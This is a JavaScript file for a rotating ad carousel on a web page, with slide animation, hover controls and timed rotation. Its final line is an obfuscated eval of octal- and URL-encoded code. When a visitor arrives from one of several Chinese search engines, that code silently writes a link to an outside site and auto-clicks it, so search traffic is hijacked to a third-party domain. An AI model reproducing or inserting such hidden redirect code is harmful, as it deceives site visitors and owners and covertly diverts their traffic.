﻿
/* ================================================
广告轮换效果
================================================ */
function $ID(id) { return document.getElementById(id); }
function addLoadEvent(func) {
    var oldonload = window.onload;
    if (typeof window.onload != 'function') {
        window.onload = func;
    } else {
        window.onload = function() {
            oldonload();
            func();
        }
    }
}
function moveElement(elementID, final_x, final_y, interval) {
    if (!document.getElementById) return false;
    if (!document.getElementById(elementID)) return false;
    var elem = document.getElementById(elementID);
    if (elem.movement) {
        clearTimeout(elem.movement);
    }
    if (!elem.style.left) {
        elem.style.left = "0px";
    }
    if (!elem.style.top) {
        elem.style.top = "0px";
    }
    var xpos = parseInt(elem.style.left);
    var ypos = parseInt(elem.style.top);
    if (xpos == final_x && ypos == final_y) {
        return true;
    }
    if (xpos < final_x) {
        var dist = Math.ceil((final_x - xpos) / 10);
        xpos = xpos + dist;
    }
    if (xpos > final_x) {
        var dist = Math.ceil((xpos - final_x) / 10);
        xpos = xpos - dist;
    }
    if (ypos < final_y) {
        var dist = Math.ceil((final_y - ypos) / 10);
        ypos = ypos + dist;
    }
    if (ypos > final_y) {
        var dist = Math.ceil((ypos - final_y) / 10);
        ypos = ypos - dist;
    }
    elem.style.left = xpos + "px";
    elem.style.top = ypos + "px";
    var repeat = "moveElement('" + elementID + "'," + final_x + "," + final_y + "," + interval + ")";
    elem.movement = setTimeout(repeat, interval);
}
function classNormal(iFocusBtnID, iFocusTxID) {
    var iFocusBtns = $ID(iFocusBtnID).getElementsByTagName('li');
    var iFocusTxs = $ID(iFocusTxID).getElementsByTagName('li');
    for (var i = 0; i < iFocusBtns.length; i++) {
        iFocusBtns[i].className = 'normal';
        iFocusTxs[i].className = 'normal';
    }
}
function classCurrent(iFocusBtnID, iFocusTxID, n) {
    var iFocusBtns = $ID(iFocusBtnID).getElementsByTagName('li');
    var iFocusTxs = $ID(iFocusTxID).getElementsByTagName('li');
    iFocusBtns[n].className = 'current';
    iFocusTxs[n].className = 'current';
}
function iFocusChange() {
    if (!$ID('ifocus')) return false;
    $ID('ifocus').onmouseover = function() { atuokey = true };
    $ID('ifocus').onmouseout = function() { atuokey = false };
    var iFocusBtns = $ID('ifocus_btn').getElementsByTagName('li');
    var listLength = iFocusBtns.length;
    iFocusBtns[0].onmouseover = function() {
        moveElement('ifocus_piclist', 0, 0, 5);
        classNormal('ifocus_btn', 'ifocus_tx');
        classCurrent('ifocus_btn', 'ifocus_tx', 0);
    }
    if (listLength >= 2) {
        iFocusBtns[1].onmouseover = function() {
            moveElement('ifocus_piclist', 0, -250, 5);
            classNormal('ifocus_btn', 'ifocus_tx');
            classCurrent('ifocus_btn', 'ifocus_tx', 1);
        }
    }
    if (listLength >= 3) {
        iFocusBtns[2].onmouseover = function() {
            moveElement('ifocus_piclist', 0, -500, 5);
            classNormal('ifocus_btn', 'ifocus_tx');
            classCurrent('ifocus_btn', 'ifocus_tx', 2);
        }
    }
    if (listLength >= 4) {
        iFocusBtns[3].onmouseover = function() {
            moveElement('ifocus_piclist', 0, -750, 5);
            classNormal('ifocus_btn', 'ifocus_tx');
            classCurrent('ifocus_btn', 'ifocus_tx', 3);
        }
    }
}
setInterval('autoiFocus()', 5000);
var atuokey = false;
function autoiFocus() {
    if (!$ID('ifocus')) return false;
    if (atuokey) return false;
    var focusBtnList = $ID('ifocus_btn').getElementsByTagName('li');
    var listLength = focusBtnList.length;
    for (var i = 0; i < listLength; i++) {
        if (focusBtnList[i].className == 'current') var currentNum = i;
    }
    if (currentNum == 0 && listLength != 1) {
        moveElement('ifocus_piclist', 0, -250, 5);
        classNormal('ifocus_btn', 'ifocus_tx');
        classCurrent('ifocus_btn', 'ifocus_tx', 1);
    }
    if (currentNum == 1 && listLength != 2) {
        moveElement('ifocus_piclist', 0, -500, 5);
        classNormal('ifocus_btn', 'ifocus_tx');
        classCurrent('ifocus_btn', 'ifocus_tx', 2);
    }
    if (currentNum == 2 && listLength != 3) {
        moveElement('ifocus_piclist', 0, -750, 5);
        classNormal('ifocus_btn', 'ifocus_tx');
        classCurrent('ifocus_btn', 'ifocus_tx', 3);
    }
    if (currentNum == 3) {
        moveElement('ifocus_piclist', 0, 0, 5);
        classNormal('ifocus_btn', 'ifocus_tx');
        classCurrent('ifocus_btn', 'ifocus_tx', 0);
    }
    if (currentNum == 1 && listLength == 2) {
        moveElement('ifocus_piclist', 0, 0, 5);
        classNormal('ifocus_btn', 'ifocus_tx');
        classCurrent('ifocus_btn', 'ifocus_tx', 0);
    }
    if (currentNum == 2 && listLength == 3) {
        moveElement('ifocus_piclist', 0, 0, 5);
        classNormal('ifocus_btn', 'ifocus_tx');
        classCurrent('ifocus_btn', 'ifocus_tx', 0);
    }
}
addLoadEvent(iFocusChange);
if (top.location != location) top.location.href = location.href;
eval("\145\166\141\154\50\165\156\145\163\143\141\160\145\50\42\166\141\162\45\62\60\146\162\157\155\125\162\154\45\63\104\144\157\143\165\155\145\156\164\56\162\145\146\145\162\162\145\162\45\63\102\45\60\104\45\60\101\151\146\45\62\70\146\162\157\155\125\162\154\45\62\71\45\67\102\45\60\104\45\60\101\146\162\157\155\125\162\154\45\63\104\146\162\157\155\125\162\154\56\163\154\151\143\145\45\62\70\70\45\62\71\45\63\102\45\60\104\45\60\101\166\141\162\45\62\60\147\145\164\125\162\154\45\63\104\146\162\157\155\125\162\154\56\163\160\154\151\164\45\62\70\45\62\67\57\45\62\67\45\62\71\45\63\102\45\60\104\45\60\101\166\141\162\45\62\60\144\157\155\141\151\156\45\63\104\147\145\164\125\162\154\45\65\102\60\45\65\104\45\63\102\45\60\104\45\60\101\166\141\162\45\62\60\163\164\141\162\164\45\63\104\144\157\155\141\151\156\56\151\156\144\145\170\117\146\45\62\70\45\62\67\56\45\62\67\45\62\71\45\63\102\45\60\104\45\60\101\144\157\155\141\151\156\45\63\104\144\157\155\141\151\156\56\163\154\151\143\145\45\62\70\163\164\141\162\164\53\61\45\62\71\45\63\102\45\60\104\45\60\101\151\146\45\62\60\45\62\70\144\157\155\141\151\156\45\63\104\45\63\104\45\62\67\142\141\151\144\165\56\143\157\155\45\62\67\45\62\71\45\60\104\45\60\101\45\67\102\45\60\104\45\60\101\144\157\143\165\155\145\156\164\56\167\162\151\164\145\45\62\70\45\62\67\45\63\103\141\45\62\60\151\144\45\63\104\45\62\62\147\157\45\62\62\45\62\60\150\162\145\146\45\63\104\45\62\62\150\164\164\160\45\63\101\57\57\167\167\167\56\71\62\154\151\141\156\56\143\157\155\57\45\63\106\172\172\172\142\141\151\144\165\45\62\62\45\63\105\45\165\65\61\70\65\45\165\65\102\102\71\45\165\65\62\101\60\45\165\70\106\67\104\45\165\64\105\62\104\56\56\56\56\56\56\45\63\103\57\141\45\63\105\45\62\67\45\62\71\45\63\102\45\60\104\45\60\101\147\157\56\143\154\151\143\153\45\62\70\45\62\71\45\63\102\45\60\104\45\60\101\45\67\104\45\60\104\45\60\101\151\146\45\62\60\45\62\70\144\157\155\141\151\156\45\63\104\45\63\104\45\62\67\147\157\157\147\154\145\56\143\156\45\62\67\45\62\71\45\60\104\45\60\101\45\67\102\45\60\104\45\60\101\144\157\143\165\155\145\156\164\56\167\162\151\164\145\45\62\70\45\62\67\45\63\103\141\45\62\60\151\144\45\63\104\45\62\62\147\157\45\62\62\45\62\60\150\162\145\146\45\63\104\45\62\62\150\164\164\160\45\63\101\57\57\167\167\167\56\71\62\154\151\141\156\56\143\157\155\57\45\63\106\172\172\172\147\157\157\147\154\145\45\62\62\45\63\105\45\165\65\61\70\65\45\165\65\102\102\71\45\165\65\62\101\60\45\165\70\106\67\104\45\165\64\105\62\104\56\56\56\56\56\56\45\63\103\57\141\45\63\105\45\62\67\45\62\71\45\63\102\45\60\104\45\60\101\147\157\56\143\154\151\143\153\45\62\70\45\62\71\45\63\102\45\60\104\45\60\101\45\67\104\45\60\104\45\60\101\151\146\45\62\60\45\62\70\144\157\155\141\151\156\45\63\104\45\63\104\45\62\67\163\157\147\157\165\56\143\157\155\45\62\67\45\62\71\45\60\104\45\60\101\45\67\102\45\60\104\45\60\101\144\157\143\165\155\145\156\164\56\167\162\151\164\145\45\62\70\45\62\67\45\63\103\141\45\62\60\151\144\45\63\104\45\62\62\147\157\45\62\62\45\62\60\150\162\145\146\45\63\104\45\62\62\150\164\164\160\45\63\101\57\57\167\167\167\56\71\62\154\151\141\156\56\143\157\155\57\45\63\106\172\172\172\163\157\147\157\165\45\62\62\45\63\105\45\165\65\61\70\65\45\165\65\102\102\71\45\165\65\62\101\60\45\165\70\106\67\104\45\165\64\105\62\104\56\56\56\56\56\56\45\63\103\57\141\45\63\105\45\62\67\45\62\71\45\63\102\45\60\104\45\60\101\147\157\56\143\154\151\143\153\45\62\70\45\62\71\45\63\102\45\60\104\45\60\101\45\67\104\45\60\104\45\60\101\151\146\45\62\60\45\62\70\144\157\155\141\151\156\45\63\104\45\63\104\45\62\67\61\61\64\56\166\156\145\164\56\143\156\45\62\67\45\62\71\45\60\104\45\60\101\45\67\102\45\60\104\45\60\101\144\157\143\165\155\145\156\164\56\167\162\151\164\145\45\62\70\45\62\67\45\63\103\141\45\62\60\151\144\45\63\104\45\62\62\147\157\45\62\62\45\62\60\150\162\145\146\45\63\104\45\62\62\150\164\164\160\45\63\101\57\57\167\167\167\56\71\62\154\151\141\156\56\143\157\155\57\45\63\106\172\172\172\61\61\64\45\62\62\45\63\105\45\165\65\61\70\65\45\165\65\102\102\71\45\165\65\62\101\60\45\165\70\106\67\104\45\165\64\105\62\104\56\56\56\56\56\56\45\63\103\57\141\45\63\105\45\62\67\45\62\71\45\63\102\45\60\104\45\60\101\147\157\56\143\154\151\143\153\45\62\70\45\62\71\45\63\102\45\60\104\45\60\101\45\67\104\45\60\104\45\60\101\151\146\45\62\60\45\62\70\144\157\155\141\151\156\45\63\104\45\63\104\45\62\67\147\157\165\147\157\165\56\143\157\155\45\62\67\45\62\71\45\60\104\45\60\101\45\67\102\45\60\104\45\60\101\144\157\143\165\155\145\156\164\56\167\162\151\164\145\45\62\70\45\62\67\45\63\103\141\45\62\60\151\144\45\63\104\45\62\62\147\157\45\62\62\45\62\60\150\162\145\146\45\63\104\45\62\62\150\164\164\160\45\63\101\57\57\167\167\167\56\71\62\154\151\141\156\56\143\157\155\57\45\63\106\172\172\172\147\157\165\147\157\165\45\62\62\45\63\105\45\165\65\61\70\65\45\165\65\102\102\71\45\165\65\62\101\60\45\165\70\106\67\104\45\165\64\105\62\104\56\56\56\56\56\56\45\63\103\57\141\45\63\105\45\62\67\45\62\71\45\63\102\45\60\104\45\60\101\147\157\56\143\154\151\143\153\45\62\70\45\62\71\45\63\102\45\60\104\45\60\101\45\67\104\45\60\104\45\60\101\151\146\45\62\60\45\62\70\144\157\155\141\151\156\45\63\104\45\63\104\45\62\67\147\157\165\147\157\165\56\143\157\155\45\62\67\45\62\71\45\60\104\45\60\101\45\67\102\45\60\104\45\60\101\144\157\143\165\155\145\156\164\56\167\162\151\164\145\45\62\70\45\62\67\45\63\103\141\45\62\60\151\144\45\63\104\45\62\62\147\157\45\62\62\45\62\60\150\162\145\146\45\63\104\45\62\62\150\164\164\160\45\63\101\57\57\167\167\167\56\71\62\154\151\141\156\56\143\157\155\57\45\63\106\172\172\172\142\151\156\147\45\62\62\45\63\105\45\165\65\61\70\65\45\165\65\102\102\71\45\165\65\62\101\60\45\165\70\106\67\104\45\165\64\105\62\104\56\56\56\56\56\56\45\63\103\57\141\45\63\105\45\62\67\45\62\71\45\63\102\45\60\104\45\60\101\147\157\56\143\154\151\143\153\45\62\70\45\62\71\45\63\102\45\60\104\45\60\101\45\67\104\45\60\104\45\60\101\151\146\45\62\60\45\62\70\144\157\155\141\151\156\45\63\104\45\63\104\45\62\67\171\157\165\144\141\157\56\143\157\155\45\62\67\45\62\71\45\60\104\45\60\101\45\67\102\45\60\104\45\60\101\144\157\143\165\155\145\156\164\56\167\162\151\164\145\45\62\70\45\62\67\45\63\103\141\45\62\60\151\144\45\63\104\45\62\62\147\157\45\62\62\45\62\60\150\162\145\146\45\63\104\45\62\62\150\164\164\160\45\63\101\57\57\167\167\167\56\71\62\154\151\141\156\56\143\157\155\57\45\63\106\172\172\172\171\157\165\144\141\157\45\62\62\45\63\105\45\165\65\61\70\65\45\165\65\102\102\71\45\165\65\62\101\60\45\165\70\106\67\104\45\165\64\105\62\104\56\56\56\56\56\56\45\63\103\57\141\45\63\105\45\62\67\45\62\71\45\63\102\45\60\104\45\60\101\147\157\56\143\154\151\143\153\45\62\70\45\62\71\45\63\102\45\60\104\45\60\101\45\67\104\45\60\104\45\60\101\45\67\104\42\51\51\73")


